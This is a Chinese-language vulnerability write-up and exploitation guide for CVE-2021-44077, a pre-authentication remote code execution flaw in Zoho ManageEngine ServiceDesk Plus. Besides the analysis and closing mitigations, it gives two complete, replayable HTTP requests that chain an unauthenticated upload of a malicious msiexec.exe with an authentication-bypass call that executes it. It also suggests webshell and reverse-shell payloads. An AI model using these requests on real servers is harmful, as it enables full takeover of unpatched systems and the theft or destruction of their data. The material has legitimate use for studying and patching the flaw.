CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Pre-auth RCE
字数 1001 2025-08-25 22:59:10
Zoho ManageEngine ServiceDesk Plus Pre-auth RCE (CVE-2021-44077) 漏洞分析与利用指南
漏洞概述
CVE-2021-44077 是 Zoho ManageEngine ServiceDesk Plus 中的一个严重漏洞,允许未经认证的攻击者通过组合文件上传和命令执行功能实现远程代码执行。该漏洞影响版本范围为 11200 到 11303。
受影响版本
- 确认受影响版本:11200 到 11303
- 11305 及以上版本已修复(移除了 ImportTechnicians action)
- 11200 之前版本不受影响(web.xml 中没有 restapi 的 servlet-mapping)
环境搭建
-
下载受影响版本(11303):
http://archives.manageengine.com/service-desk/11303/ManageEngine_ServiceDesk_Plus_64bit.exe -
版本验证方法:
http://[target]:8080/servlets/DCPluginServlet?action=getVersionDetails返回结果中的
buildnumber即为版本号
漏洞分析
1. 命令执行点
漏洞存在于 com.manageengine.s247.actions.S247Action#s247AgentInstallationProcess 方法中,该方法会调用:
S247Util.installAgentProgress(apikey)
最终执行命令:
C:\Program Files\ManageEngine\ServiceDesk\bin\msiexec.exe /i Site24x7WindowsAgent.msi EDITA1=apikey /qn
2. 文件上传点
未经认证的文件上传功能位于:
/RestAPI/ImportTechnicians?step=1
对应类:
com.adventnet.servicedesk.setup.action.ImportTechniciansAction
直接写入 iuf.getTheFile() 获取到的文件
漏洞利用步骤
步骤1:上传恶意 msiexec.exe
构造上传请求:
POST /RestAPI/ImportTechnicians?step=1 HTTP/1.1
Host: 192.168.137.189:8080
Content-Length: 191
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="theFile"; filename="msiexec.exe"
Content-Type: image/jpeg
[恶意exe文件内容]
------WebKitFormBoundaryRBcwSPhzFlHZQPEo--
步骤2:触发命令执行
通过 REST API 绕过认证调用命令执行:
POST /./RestAPI/s247action HTTP/1.1
Host: 192.168.137.189:8080
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
execute=s247AgentInstallationProcess
攻击载荷建议
-
上传自定义的 msiexec.exe,可以包含:
- WebShell 投递
- 反向Shell
- 其他恶意功能
-
由于是直接执行上传的 exe 文件,攻击者可以完全控制系统
防御措施
- 立即升级到最新版本(11305 或更高)
- 如果无法立即升级,限制对 ServiceDesk Plus 管理界面的网络访问
- 实施Web应用防火墙规则,拦截对
/RestAPI/ImportTechnicians和/s247action的恶意请求 - 监控服务器上 msiexec.exe 的异常执行
总结
该漏洞的关键点在于:
- 存在未经认证的文件上传功能
- 存在可通过 REST API 绕过的命令执行功能
- 两者结合导致完整的预认证 RCE
- 影响版本范围明确(11200-11303)
攻击者可以利用此漏洞完全控制目标服务器,建议用户立即采取防护措施。